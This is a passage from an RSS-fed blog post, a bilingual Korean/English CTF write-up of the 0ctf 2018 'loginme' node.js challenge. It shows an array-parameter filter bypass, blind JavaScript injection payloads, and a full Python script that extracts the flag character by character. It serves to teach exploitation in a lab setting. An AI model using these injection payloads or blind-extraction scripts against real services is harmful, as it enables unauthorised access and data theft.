rgb(36, 41, 46); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-k&quot; style=&quot;box-sizing: border-box; color: rgb(215, 58, 73); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: rgb(36, 41, 46); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-smi&quot; style=&quot;box-sizing: border-box; color: rgb(36, 41, 46); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt;req&lt;/span&gt;&lt;span style=&quot;color: rgb(36, 41, 46); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot; style=&quot;box-sizing: border-box; color: rgb(0, 92, 197); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color: rgb(36, 41, 46); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt;[k].&lt;/span&gt;&lt;span class=&quot;pl-c1&quot; style=&quot;box-sizing: border-box; color: rgb(0, 92, 197); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt;indexOf&lt;/span&gt;&lt;span style=&quot;color: rgb(36, 41, 46); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt;(x) &lt;/span&gt;&lt;span class=&quot;pl-k&quot; style=&quot;box-sizing: border-box; color: rgb(215, 58, 73); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color: rgb(36, 41, 46); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pl-k&quot; style=&quot;box-sizing: border-box; color: rgb(215, 58, 73); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pl-c1&quot; style=&quot;box-sizing: border-box; color: rgb(0, 92, 197); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: rgb(36, 41, 46); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt;});&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;color: rgb(36, 41, 46); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 12px; white-space: pre;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이 필터링은 배열로 값을 보내면 우회가 가능하다. ( username[] = 123 )&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt; color: rgb(140, 140, 140);&quot;&gt;filter can be bypassed by sending an array instead of a value.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;다양한 삽질 끝에 아래와 같은 방식으로 SQLi 처럼 Blind 방식의 node js 코드 인젝션이 가능함을 확인했다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;color: rgb(140, 140, 140); font-size: 14pt;&quot;&gt;After various attempts, I confirmed that node.js code injection of blind method like SQLi is possible in the following way.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;table class=&quot;txc-table&quot; width=&quot;864&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; border=&quot;0&quot; style=&quot;border:none;border-collapse:collapse;;font-family:&quot; 맑은=&quot;&quot; 고딕&quot;,=&quot;&quot; sans-serif;font-size:16px&quot;=&quot;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;width:864;height:24;border-bottom:1px solid #ccc;border-right:1px solid #ccc;border-top:1px solid #ccc;border-left:1px solid #ccc;;&quot;&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;True:&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;username[]=admin#test&amp;amp;test.*md5.[]=] ||&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;'a'=='a' ? 1 : alert()&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;|| (#pass&amp;amp;pass.*=test&amp;amp;password=555&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;False:&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;username[]=admin#test&amp;amp;test.*md5.[]=] ||&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;'a'=='b' ? 1 : alert()&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;|| (#pass&amp;amp;pass.*=test&amp;amp;password=555&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;참일 때는 에러가 나지 않도록&amp;nbsp;하고, 거짓일 때는 alert(없는 메소드라고 에러발생) 을 이용해서 에러를 발생시켰다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;color: rgb(140, 140, 140); font-size: 14pt;&quot;&gt;If true&amp;nbsp;no error, if false&amp;nbsp;an error is output.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;아래처럼 입력한 자바스크립트 구문이 참일 때만 ok 가 오고, 거짓일땐 서버 에러가 발생해서 응답이 오지 않는다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 18.6667px; color: rgb(140, 140, 140);&quot;&gt;It only be 'ok' if the JavaScript syntax is true, and if it is false, get a server error and no response.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 900px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/999B62505ACC42BD1C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F999B62505ACC42BD1C&quot; width=&quot;900&quot; height=&quot;534&quot; filename=&quot;스크린샷 2018-04-10 오전 10.44.41.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이제 스크립트를 작성해서 플래그를 한글자씩 뽑아오면 끝!&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 18.6667px; color: rgb(140, 140, 140);&quot;&gt;Now, write a simple python script and get&amp;nbsp;the flags one by one!&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;# exploit_loginme.py&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 4px; font-variant-numeric: normal; font-variant-east-asian: normal; font-stretch: normal; font-size: 0.9333em; line-height: 1.5em; font-family: Consolas, &amp;quot;Lucida Console&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, Monaco, &amp;quot;Courier New&amp;quot;, monospace; background: rgb(0, 0, 0); color: rgb(248, 248, 248);&quot;&gt;&lt;span style=&quot;color: rgb(174, 174, 174); font-style: italic; font-size: 14pt;&quot;&gt;#!/usr/bin/python&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; socket &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; time

&lt;/span&gt;&lt;span style=&quot;color: rgb(174, 174, 174); font-style: italic; font-size: 14pt;&quot;&gt;#target = ('202.120.7.194', 8081)&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
target &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'127.0.0.1'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;8081&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)


&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 207, 80); font-size: 14pt;&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(137, 189, 255); font-size: 14pt;&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;):
    c &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; socket(AF_INET, SOCK_STREAM)
    &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:
        c.connect(target)
    &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;except&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:
        time.sleep(&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;0.2&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)
        c.connect(target)

    req &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'''POST /check HTTP/1.1
Accept-Encoding: gzip, deflate
Content-Length: {}
Host: 127.0.0.1:8081
Content-Type: application/x-www-form-urlencoded
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko

{}

'''&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;.format(&lt;/span&gt;&lt;span style=&quot;color: rgb(218, 208, 133); font-size: 14pt;&quot;&gt;len&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(p)&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,p)
    &lt;/span&gt;&lt;span style=&quot;color: rgb(174, 174, 174); font-style: italic; font-size: 14pt;&quot;&gt;#print req&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
    c.send(req)
    res &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; c.recv(&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;300&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)
    &lt;/span&gt;&lt;span style=&quot;color: rgb(174, 174, 174); font-style: italic; font-size: 14pt;&quot;&gt;#print res&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
    &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:
        t &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; res.index(&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'ok'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)
        &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;True&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
    &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;except&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:
        &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;False&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;

&lt;/span&gt;&lt;span style=&quot;color: rgb(174, 174, 174); font-style: italic; font-size: 14pt;&quot;&gt;### flag length - 32&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;color: rgb(174, 174, 174); font-style: italic; font-size: 14pt;&quot;&gt;#param = 'username[]=admin#test&amp;amp;test.*md5.[]=] || this[Object.keys(this)[3]].length == 32 ? 1 : alert() || (#pass&amp;amp;pass.*=test'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;color: rgb(174, 174, 174); font-style: italic; font-size: 14pt;&quot;&gt;#print request(param)&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;

&lt;/span&gt;&lt;span style=&quot;color: rgb(174, 174, 174); font-style: italic; font-size: 14pt;&quot;&gt;### flag&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
flag &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;''&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(218, 208, 133); font-size: 14pt;&quot;&gt;range&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;32&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;):
    &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; j &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(218, 208, 133); font-size: 14pt;&quot;&gt;range&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;48&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;127&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;):
        param &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'username[]=admin#test&amp;amp;test.*md5.[]=] || this[Object.keys(this)[3]].substr({},1).charCodeAt() == {} ? 1 : alert() || (#pass&amp;amp;pass.*=test'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;.format(i,j)
        &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;&quot;[*] trying..&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; param
        &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; request(param):
            &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66);&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;'&lt;/span&gt;&lt;span style=&quot;color: rgb(221, 242, 164); font-size: 14pt;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;=================='&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
            &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(218, 208, 133); font-size: 14pt;&quot;&gt;chr&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(j)
            flag &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(218, 208, 133); font-size: 14pt;&quot;&gt;chr&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(j)
            &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66);&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;'&lt;/span&gt;&lt;span style=&quot;color: rgb(221, 242, 164); font-size: 14pt;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;=================='&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
            &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;break&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
        time.sleep(&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;0.4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)

&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66);&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&quot;[+] flag: &lt;/span&gt;&lt;span style=&quot;color: rgb(221, 242, 164); font-size: 14pt;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;flag{&quot;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; flag &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;&quot;}&quot;&lt;/span&gt;&lt;/pre&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 741px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/990EB4505ACC42BD0D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F990EB4505ACC42BD0D&quot; width=&quot;741&quot; height=&quot;564&quot; filename=&quot;스크린샷 2018-04-10 오후 1.31.46.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;끝!&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;the end!&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18.6667px;&quot;&gt;ps. node js 를 CTF 때만 간혹 보고 거의 안써봐서 조금 헷갈렸던 문제였다..공부해야지!&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>CTF Writeup</category>
      <category>0ctf 2018</category>
      <category>0ctf writeup</category>
      <category>loginme writeup</category>
      <author>hyunmini</author>
      <guid isPermaLink="true">https://hyunmini.tistory.com/124</guid>
      <comments>https://hyunmini.tistory.com/124#entry124comment</comments>
      <pubDate>Tue, 10 Apr 2018 14:21:20 +0900</pubDate>
    </item>
  </channel>
</rss>